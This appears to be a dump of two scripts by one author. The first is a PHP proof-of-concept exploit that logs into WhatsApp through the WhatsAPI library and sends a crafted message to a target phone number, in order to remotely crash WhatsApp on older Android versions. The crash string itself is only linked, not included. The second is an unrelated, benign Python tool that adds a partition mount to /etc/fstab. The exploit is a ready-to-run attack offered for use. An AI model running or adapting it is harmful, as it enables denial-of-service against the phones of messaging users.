root@rodrix:~# php wacrash.php 549XXXXXXXXXX

<?php

/*
 *      Title: WhatsApp Remote Crash with PHP
 *      Product: WhatsApp
 *      Vendor Homepage: http://www.whatsapp.com
 *      Vulnerable Version(s): 2.11.476
 *      Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
 *      Mirror: http://pastebin.com/Ktu45GN0
 *      Date: 05/02/2015
 * 
 *      Author Exploit:
 *              Rodrigo Avila - @el_rodrix - <[email protected]>
 *      Credits: 
 *              Daniel Godoy - @0xhielasangre - <[email protected]>
 *              Gonza Cabrera - @Gonnza_Cabrera - <[email protected]>
 * 
 *      Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
 * 		    http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
 *                 http://www.exploit-db.com/exploits/35637/
 *                 http://www.exploit-db.com/exploits/32865/
 * 
 *      Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
 *      It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
 *      engaging in an interactive conversation over WhatsApp protocol
 */

require 'src/whatsprot.class.php';

function fgets_u($pStdn)
{
    $pArr = array($pStdn);

    if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
        print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");

        return FALSE;
    } elseif ($num_changed_streams > 0) {
        return trim(fgets($pStdn, 1024));
    }
    return null;
}
$nickname = "RemoteExecution";
$sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
$msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
$usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";

if ($argc < 2) {
    echo $usage;
    exit(1);
}

if (is_numeric($_SERVER['argv'][1])){
	if (strlen($_SERVER['argv'][1]) == 13){ 
		$dst = $_SERVER['argv'][1];
		echo "[] Logging in as '$nickname' ($sender)\n";
		$wa = new WhatsProt($sender, $imei, $nickname, false);

		$wa->connect();
		$wa->loginWithPassword($password);

		echo "\n[] Send message to $dst: $msg\n";
		$wa->sendMessage($dst , $msg);
		echo "\n";
		exit(0);
	}else{
		echo $usage;
	}
}else{
	echo $usage;
}

#!/usr/bin/python

from pexpect import run
from re import split
import os

class Crear:
	
	divline = "*"*80		

	def listar(self):
		self.valor = []
		part = "/dev/sda"
		stdout = split("\n", run("fdisk -l"))
		print self.divline
		print "Listado de Tabla de Particiones"
		print self.divline
		#print self.divline
		for e in stdout:
			for x in range(1,10):
				if part + str(x) in e:
					#agrego cadena a la lista
					self.valor.append(part + str(x))
					#guardo la longitud de la lista
					total = len(self.valor)
					print "Opcion " + str(total) + ": " + e

	def menu(self):	
		while (1):
		  print(""" 

		****************************************
		* Montar particion al iniciar SO       *
		* por Rodrigo Avila - @el_rodrix       *
		* [email protected]               *
		****************************************

		Menu
		------
		1 - Listar tabla de particiones
		2 - Montar particion en /media/DATOS
		 
		x - salir
		 
		""")
		  opc = raw_input("Opcion: ")
		  if (opc == "1"):
		  	self.listar()
		  elif (opc == "2"):
		  	self.montar()
		  elif (opc.lower() == "x"):
		  	print "Bye !"
		  	exit()
		  else:
		  	print "Opcion no valida"

		  print self.divline
		  pausa = raw_input("presiona ENTER para continuar")

	def set_particion(self):
		self.opcion1 = raw_input("Ingrese particion a montar: ")
		try:
			self.sda = int(self.opcion1) - 1
			print self.divline
			print "Particion a montar: " + self.valor[self.sda]
			print self.divline
		except:
			print "Opcion no valida"
			exit(0)

	def set_sist_archivo(self):
		self.sist_archivo = ['ntfs', 'fat', 'fat32']
		texto = "Opcion: "
		codigo = 0
		print self.divline
		print "Sistema de archivo - Elegir una Opcion"
		print self.divline
		for x in self.sist_archivo:
			texto += '(%d)%s ' % (codigo, x)
			codigo = codigo + 1
		texto += ": "
		self.opcion2 = raw_input(texto)
		try:
			print self.divline
			print "Sistema de archivo: " + self.sist_archivo[int(self.opcion2)]
			print self.divline
		except:
			print "Opcion no valida"
			exit(0)

	def verificar_dir(self):
		try:
			os.stat("/media/DATOS")
		except:
			pass
		else:
			print "Ya existe particion montada"
			exit(0)

	def crear_dir(self):
		try:
			fichero = split("\n", run("mkdir /media/DATOS"))
			print self.divline
			print "Carpeta /media/DATOS creada correctamente"
			print self.divline
			pass
		except:
			print "Error al crear directorio"
			exit(0)

	def set_path(self):
		self.verificar_dir()
		self.crear_dir()
		self.path = '%s /media/DATOS %s auto,rw,exec,users,dmask=000,fmask=111,nls=utf8 0 0' % (self.valor[self.sda], self.sist_archivo[int(self.opcion2)])
		print self.path

	def agregar_path(self):
		try:
			with open('/etc/fstab', 'r+') as fstab:
				fstab.read()
				fstab.write(self.path)
			print self.divline
			print "Se agrego path correctamente"
			print self.divline
		except:
			print "Error al escribir archivo fstab"
			exit(0)

	def set_montar(self):
		try:
			fichero2 = split("\n", run("mount -a"))
			print self.divline
			print "Particion montada correctamente"
			print self.divline
		except:
			print "Error al montar particion"
			exit(0)

	def montar(self):
		self.set_particion()
		self.set_sist_archivo()
		self.set_path()
		self.agregar_path()
		self.set_montar()

	#metodo constructor
	def __init__(self):
		self.menu()

#instanciar clase
crear = Crear()